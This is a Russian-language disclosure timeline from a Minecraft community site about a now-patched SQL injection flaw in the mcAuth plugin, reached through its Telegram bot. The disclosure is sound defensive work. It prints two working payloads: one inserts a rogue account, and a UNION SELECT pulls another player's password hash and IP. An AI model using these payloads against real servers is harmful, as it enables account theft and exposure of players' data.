mcAuth: SQL-инъекция

mcAuth: SQL-инъекция

BLACK-MINECRAFT.COM

ВНИМАНИЕ: УЯЗВИМОСТЬ ИСПРАВЛЕНА!

Рекомендуем немедленно обновить плагин mcAuth до последней версии.


21.05.2025 — Первое сообщение об уязвимости

Поступило сообщение, что на одном из серверов, использующих плагин mcAuth, через телеграм-бот была проведена SQL-инъекция. Это привлекло внимание к плагину, и началось тестирование его на наличие уязвимостей.

Было выявлено, что любые команды (например, /code, /кик и т.д.) передаются в базу данных. Хотя библиотека ORMLite не позволяет выполнять вредоносные запросы напрямую, данные всё же читаются, что открывает окно для атак.

Первые тесты и подтверждение наличие уязвимости

Пример использованного SQL-кода:

/code U18OB1 '; INSERT INTO users (username, password) VALUES ('hacker', '1234'); -- 

22.05.2025 — Публикация в Telegram-канале

В Telegram-канале Black-Minecraft.com выходит пост с информацией о найденной уязвимости.

После этого в чат проекта начали писать пользователи, сообщая, что об уязвимости было известно уже как минимум полгода. Один из участников описал, как с её помощью можно:

  • получать IP-адреса игроков,
  • извлекать хеши паролей

23.05.2025 — Реакция разработчика

Разработчик mcAuth опубликовал сообщение в своём Discord-канале, в котором призвал временно отказаться от использования плагина, пока не будет найдено и устранено уязвимое место.

Официальный дискорд канал mcAuth

24.05.2025 — Новые подробности от исследователя imDaniX

Благодаря пользователю imDaniX стало известно, что можно использовать SQL-инъекцию для:

Кика любого игрока с сервера путём подмены ника.

Слева — игровой аккаунт жертвы, справа — Telegram-бот, через который действовал атакующий.

Извлечения хешей паролей игроков с помощью следующей SQL-инъекции:

/кик ' AND FALSE UNION ALL SELECT p1.id, p2.player_id, p2.player_id_type, p2.hash_type, p2.last_ip, p2.unique_id, REPLACE(p2.password_hash, '$', '@'), p2.password_hash, p2.last_quit, p2.last_session_start 
FROM (SELECT * FROM mc_auth_accounts WHERE player_id = 'АККАУНТ1' LIMIT 1) AS p1 
CROSS JOIN (SELECT * FROM mc_auth_accounts WHERE player_id = 'АККАУНТ2' LIMIT 1) AS p2;#
  • АККАУНТ1 — ник атакующего игрока
  • АККАУНТ2 — ник игрока, чьи данные нужно получить
Результат использование SQL-инъекции

Все полученные результаты были оперативно переданы разработчикам.


25.05.2025 — Выпуск патча

Разработчик выпустил бета-обновление, в котором уязвимость была исправлена.

Официальный дискорд канал mcAuth

Мы категорически рекомендуется всем серверам, использующим mcAuth, немедленно обновиться!


❤ Мы в Telegram:

Телеграм канал

Телеграм чат

🔥 Telegram-Бот для проверки плагинов на вирусы:

MinePluginCheck







Report Page